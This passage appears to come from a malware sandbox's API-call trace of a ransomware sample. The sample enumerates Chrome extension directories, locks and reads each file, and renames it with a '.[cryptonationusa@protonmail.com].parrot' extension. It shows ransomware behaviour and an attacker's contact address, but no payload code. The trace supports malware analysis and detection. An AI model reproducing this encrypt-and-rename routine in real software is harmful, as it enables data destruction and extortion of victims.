lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8687b40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8687b40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8687b40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8687b40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb87200c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb87200c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ur", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb87200c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb87200c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb876c380, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb876c380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb876c380, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb876c380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_HK", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb87924e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb87924e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb87924e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb87924e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu", cAlternateFileName="")) returned 1 [0072.133] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb87924e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb87924e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu", cAlternateFileName="")) returned 0 [0072.133] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.135] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.135] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.135] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.135] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.135] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8636e710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1 [0072.136] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc0b, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.136] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.136] ReadFile (in: hFile=0x274, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.137] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.138] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xaf3, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0xaf3, lpOverlapped=0x0) returned 1 [0072.138] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.139] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc0b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.139] CloseHandle (hObject=0x274) returned 1 [0072.139] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.143] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x456c, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.143] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.143] ReadFile (in: hFile=0x274, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0072.145] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.145] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4454, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x4454, lpOverlapped=0x0) returned 1 [0072.163] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.164] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x456c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.164] CloseHandle (hObject=0x274) returned 1 [0072.165] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.168] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.169] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb87de7a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb87de7a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.170] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8636e710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb87b8640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="COMPUT~1.PAR")) returned 1 [0072.170] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0072.170] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7e0cce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7e0cce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.170] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7d02340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="128PNG~1.PAR")) returned 1 [0072.171] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0072.172] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.173] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7e0cce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7e0cce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.4_0", cAlternateFileName="")) returned 1 [0072.173] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7e0cce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7e0cce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.4_0", cAlternateFileName="")) returned 0 [0072.173] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0072.173] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.173] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82abeb90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82abeb90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.173] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.173] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.173] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e7880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e7880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.2_0", cAlternateFileName="100~1.2_0")) returned 1 [0072.173] lstrcmpW (lpString1="1.0.0.2_0", lpString2=".") returned 1 [0072.173] lstrcmpW (lpString1="1.0.0.2_0", lpString2="..") returned 1 [0072.173] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0072.178] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.178] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e7880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e7880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.179] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.179] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.179] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82888510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8288ac20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba221600, ftLastWriteTime.dwHighDateTime=0x1d297b0, nFileSizeHigh=0x0, nFileSizeLow=0x32a2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_background.js", cAlternateFileName="CRAW_B~1.JS")) returned 1 [0072.180] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32b46, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.180] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.180] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0072.182] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.182] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x32a2e, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x32a2e, lpOverlapped=0x0) returned 1 [0072.190] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.200] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32b46, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.200] CloseHandle (hObject=0x27c) returned 1 [0072.200] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.204] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b171, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.204] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.204] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0072.205] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.206] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3b059, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x3b059, lpOverlapped=0x0) returned 1 [0072.218] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.226] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b171, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.226] CloseHandle (hObject=0x27c) returned 1 [0072.227] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.229] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.229] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.229] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82896f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82899680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.230] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.230] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.230] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82899680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaae46e00, ftLastWriteTime.dwHighDateTime=0x1cec2fb, nFileSizeHigh=0x0, nFileSizeLow=0x6cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_window.css", cAlternateFileName="CRAW_W~1.CSS")) returned 1 [0072.230] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e5, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.230] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 